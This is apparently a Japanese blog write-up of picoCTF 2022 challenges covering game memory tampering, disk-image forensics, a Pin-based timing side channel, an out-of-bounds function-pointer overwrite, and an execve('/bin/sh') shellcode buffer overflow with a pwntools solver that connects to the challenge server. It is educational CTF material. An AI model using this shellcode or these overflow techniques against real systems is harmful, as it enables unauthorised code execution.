picoCTF2022に参加していました。
今回は普段解いてるRev以外にもForensicとPwn問にも挑戦してみました。
RevとForensicは全完できましたが、残念ながらPwnは2問残しました。
とはいえ、新しいテクニックも3つくらい習得できてかなり有意義でした。
この記事では個人的に学びのあった問題に簡単にWriteupを書いていきます。
もくじ
Rev
Revは正直かなり難易度が低かったのでこれといって書くことがないですが、最後の問題は珍しいタイプで結構面白かったのでまとめておきます。
Wizardlike(Rev)
以下のような問題でした。
Description
Do you seek your destiny in these deplorable dungeons? If so, you may want to look elsewhere. Many have gone before you and honestly, they’ve cleared out the place of all monsters, ne’erdowells, bandits and every other sort of evil foe. The dungeons themselves have seen better days too. There’s a lot of missing floors and key passages blocked off. You’d have to be a real wizard to make any progress in this sorry excuse for a dungeon!Download the game.’
w
’, ’a
’, ’s
’, ’d
’ moves your character and ’Q
’ quits. You’ll need to improvise some wizardly abilities to find the flag in this dungeon crawl. ’.
’ is floor, ’#
’ are walls, ’<
’ are stairs up to previous level, and ’>
’ are stairs down to next level.
コンソール上で遊べるドル○ーガの塔みたいなゲームが問題バイナリとして渡されます。
このゲームの塔を登っていくとFlagがわかっていくという問題なのですが、残念ながら普通にプレイしているだけでは上ることのできない構造になっています。
そのため、ゲーム中の階層と座標の格納されているメモリアドレスを特定して任意に改ざんしていくことで、マップ内をワープしながら探索していくというのが恐らく想定解の問題です。
階層と座標のメモリアドレス自体はGhidraなどでデコンパイルすれば簡単に取得できます。
ゲーム中にメモリアドレスを改ざんする方法としては、gdbのリモートデバッグを使用しました。
# gdbserverを使用してゲームを起動
gdbserver localhost:1234 game-p
# 別のコンソールからgdbを起動して接続
gdb
target remote localhost:1234
これで階層やマップを移動しながら問題を解くことができます。
ただし、残念なことにこのマップ移動時の座標指定はエスパー要素が強く結構面倒でした。
そのため、最終的にはGhidraでデータセクション内の各マップの情報を特定し、ゲームのマップ更新時のプログラムからリバーシングした以下のスクリプトですべてのマップをまとめて取得する方法でFlagを取得しました。
from pprint import pprint
table = [
[" " for i in range(100)] for j in range(100)
]
data = <MapData>
for i in range(len(data)):
print(chr(data[i]), end="")
if i % 100 == 0:
print("")
Forensic
Forensic問ではいくつか新しいテクニックを習得したので、記録としてまとめておきます。
Operation Orchid(Forensic)
Description
Download this disk image and find the flag.Note: if you are using the webshell, download and extract the disk image into
/tmp
not your home directory.
類問として「Operation Oni」という問題もありましたが、イメージファイルから欲しい情報を探し出す問題でした。
基本的な流れとしては、イメージファイルの中からマウント可能なセクションを特定してローカルにマウントし、ディレクトリを探索していく感じでした。
まずはfdisk -lu
コマンドでイメージファイルの情報を特定します。
$ fdisk -lu disk.img
Disk disk.img: 400 MiB, 419430400 bytes, 819200 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xb11a86e3
Device Boot Start End Sectors Size Id Type
disk.img1 * 2048 206847 204800 100M 83 Linux
disk.img2 206848 411647 204800 100M 82 Linux swap / Solaris
disk.img3 411648 819199 407552 199M 83 Linux
ここで、disk.img3
をマウントしたかったので、開始セクタ番号の411648
にセクタサイズの512
をかけた値をオフセットとしてmount
コマンドを実行します。
sudo mount -o loop,offset=210763776 disk.img ./mnt
sudo chown ubuntu:ubuntu ./* -R
ついでに所有者を変えておくと探索が楽になります。
これでマウントしたディレクトリを探索したところ、.bash_history
から以下のコマンド履歴が見つかりました。
nano flag.txt
openssl
openssl aes256 -salt -in flag.txt -out flag.txt.enc -k unbreakablepassword1234567
shred -u flag.txt
ls -al
つまり、このunbreakablepassword1234567
を用いてaes256
で暗号化されたファイルを復元するとFlagがゲットできます。
というわけで以下のコマンドで復号を行いました。
openssl aes256 -d -salt -in flag.txt.enc -out flag.txt -k unbreakablepassword1234567
これでFlagが取れます。
SideChannel(SideChannel)
Description
There’s something fishy about this PIN-code checker, can you figure out the PIN and get the flag?Download the PIN checker program here pin_checkerOnce you’ve figured out the PIN (and gotten the checker program to accept it), connect to the master server using
nc saturn.picoctf.net 50562
and provide it the PIN to get your flag.
これは解き方はわかったものの実際にFlagを取るのにかなり苦労した問題でしたが非常に面白い問題でした。
まずは、Pin - A Binary Instrumentation Tool - DownloadsからPinToolをダウンロードします。
ダウンロードしたファイルを展開するとこんな感じのディレクトリが作成されます。
$ ls -l
total 388
-rw-r--r-- 1 ubuntu ubuntu 63816 Feb 16 02:04 README
drwxr-x--- 3 ubuntu ubuntu 4096 Feb 16 02:14 doc
drwxr-x--- 9 ubuntu ubuntu 4096 Feb 16 02:14 extras
drwxr-x--- 6 ubuntu ubuntu 4096 Feb 16 02:12 ia32
drwxr-x--- 6 ubuntu ubuntu 4096 Feb 16 02:14 intel64
drwxr-xr-x 2 ubuntu ubuntu 4096 Feb 16 02:14 licensing
-rwxr-xr-x 1 ubuntu ubuntu 292996 Feb 16 02:09 pin
-rwxr-x--- 1 ubuntu ubuntu 8418 Feb 16 02:15 pin.sig
drwxr-x--- 5 ubuntu ubuntu 4096 Feb 16 02:14 source
ここからPinToolをビルドするのですが、今回の問題バイナリは32bit向けのELFバイナリなので、「ia32」のツールをビルドする必要があります。
そのため、以下でビルドに必要なパッケージをインストールしておきます。
sudo apt-get install libc6-dev-i386
sudo apt-get install gcc-multilib g++-multilib
続いて。source/tools/SimpleExamples
に移動してツールをビルドします。
cd source/tools/SimpleExamples$
make all TARGET=ia32
TARGET=ia32
を指定する必要がある点に注意です。
ビルドが成功した場合~/pintools/source/tools/SimpleExamples/obj-ia32/inscount2_mt.so
が生成されているはずです。
あとはこれを使ってサイドチャネル攻撃でPINを一文字ずつ特定していきます。
以下が使用したSolverです。
import subprocess
cmd = "/home/ubuntu/pintools/pin -t /home/ubuntu/pintools/source/tools/SimpleExamples/obj-ia32/inscount2_mt.so -- ./pin_checker".split(" ")
ans = []
for i in range(10):
t = "" + str(i) + "0"*7
print(t)
cp = subprocess.run(cmd, input=t.encode())
# 48390513
上記は1文字目の値を変化させてチェックを行っています。
これを実行したときの各PIN入力とpintoolのカウント結果を見てみると、1文字目に4が入力された時が極端に大きい値になっていることがわかります。
00000000
Count[0] = 53421446
10000000
Count[0] = 60610315
20000000
Count[0] = 66361386
30000000
Count[0] = 66840760
40000000
Count[0] = 314657590
50000000
Count[0] = 61089559
60000000
Count[0] = 61568816
70000000
Count[0] = 62527330
80000000
Count[0] = 61089676
90000000
Count[0] = 62048086
あとはこれを8文字分繰り返せば正解のPINが特定できます。
Pwn
function overwrite(Pwn)
Description
Story telling class 2/2
あんまりDescriptionになっていないDescriptionですが、以下のような問題コードが与えられました。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}
return score;
}
void easy_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 1337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 1337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void hard_checker(char *story, size_t len)
{
if (calculate_story_score(story, len) == 13371337)
{
char buf[FLAGSIZE] = {0};
FILE *f = fopen("flag.txt", "r");
if (f == NULL)
{
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf, FLAGSIZE, f); // size bound read
printf("You're 13371337. Here's the flag.\n");
printf("%s\n", buf);
}
else
{
printf("You've failed this class.");
}
}
void (*check)(char*, size_t) = hard_checker;
int fun[10] = {0};
void vuln()
{
char story[128];
int num1, num2;
printf("Tell me a story and then I'll tell you if you're a 1337 >> ");
scanf("%127s", story);
printf("On a totally unrelated note, give me two numbers. Keep the first one less than 10.\n");
scanf("%d %d", &num1, &num2);
if (num1 < 10)
{
fun[num1] += num2;
}
check(story, strlen(story));
}
int main(int argc, char **argv)
{
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
普通に実行するとvuln
がcheck
という関数呼び出します。
このcheck
関数は、void (*check)(char*, size_t) = hard_checker;
の通りhard_checker
関数のポインタが格納されているようです。
Flag取得までの大まかな流れとしては、この関数アドレスをeasy_checker
関数のアドレスに書き換えた上でcalculate_story_score(story, len) == 1337
を満たす入力値を特定する感じでした。
ここで、関数アドレスの書き換えですが、直接的にアドレスを書き換えるのではなく、以下のコードを悪用して相対アドレスの書き換えを行いました。
if (num1 < 10)
{
fun[num1] += num2;
}
具体的には、2回目の入力を-16 -314
にすることで、配列fun
の先頭アドレスから-16バイトしたアドレスの値を-314させることができます。
これによって、元々hard_checker
関数のアドレスが格納されていた変数check
の値が、hard_checker
関数のアドレス-314に上書きされ、easy_checker
関数のアドレスを指すようになります。
ここで、127文字以内の入力で以下の計算結果が1337になる値を求めた結果、1回目の入力はaaaaaaaaaaaaaL
となり、Flagを取得することができました。
int calculate_story_score(char *story, size_t len)
{
int score = 0;
for (size_t i = 0; i < len; i++)
{
score += story[i];
}
return score;
}
ropfu(Pwn)
Description
What’s ROP?
ROPの入門的な問題でした。
とりあえずobjdump
を叩いて見ると、スタック領域に実行権限が付与されていることがわかります。
$ objdump -x vuln
vuln: file format elf32-i386
vuln
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08049c20
Program Header:
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x000001e8 memsz 0x000001e8 flags r--
LOAD off 0x00001000 vaddr 0x08049000 paddr 0x08049000 align 2**12
filesz 0x0006a960 memsz 0x0006a960 flags r-x
LOAD off 0x0006c000 vaddr 0x080b4000 paddr 0x080b4000 align 2**12
filesz 0x0002e42d memsz 0x0002e42d flags r--
LOAD off 0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**12
filesz 0x00002c18 memsz 0x00003950 flags rw-
NOTE off 0x00000134 vaddr 0x08048134 paddr 0x08048134 align 2**2
filesz 0x00000044 memsz 0x00000044 flags r--
TLS off 0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**2
filesz 0x00000010 memsz 0x00000030 flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4
filesz 0x00000000 memsz 0x00000000 flags rwx
RELRO off 0x0009a6a0 vaddr 0x080e36a0 paddr 0x080e36a0 align 2**0
filesz 0x00001960 memsz 0x00001960 flags r--
BOFを使って書き換えられるスタック領域のバイトサイズは28バイトでしたので、この範囲に収まるようにシェルを取得するシェルコードを作成します。
シェルコードは以下のアセンブリで作成できました。
; binsh2.s
BITS 32
global _start
_start:
mov eax, 11
jmp buf
setebx:
pop ebx
xor ecx, ecx
xor edx, edx
int 0x80
buf:
call setebx
db '/bin/sh', 0
x86CPUでexecveを呼び出しています。
詳しくは以下。
参考:Linux x86用のシェルコードを書いてみる - ももいろテクノロジー
参考:シェルコードとは|Tech Book Zone Manatee
このシェルコードをスタックに埋め込んだ後、リターンアドレスにret rsp
のガジェットを入れてあげればOK、と思ったのですがそのようなガジェットが見つかりませんでした。
そこで、jmp eax
のガジェットを探してそのアドレスを入れてあげることでFlagが取得できました。
最終的なSolverは以下です。
from pwn import *
import binascii
import time
elf = ELF("./vuln")
context.binary = elf
with open("shellcode", "rb") as f:
payload = f.read()
print(len(payload))
payload += b"\x90"*(28-len(payload))
ret = p32(0x0805334b) # jmp eax
payload += ret
with open("shellcode", "wb") as f:
f.write(payload)
# Local
p = process("./vuln")
# Remote
p = remote("saturn.picoctf.net", 59222)
r = p.recvline()
p.sendline(payload)
p.interactive()
まとめ
ざっくりWriteup書きました。
Pwnは全完できなかったのでもっと修行せねば。。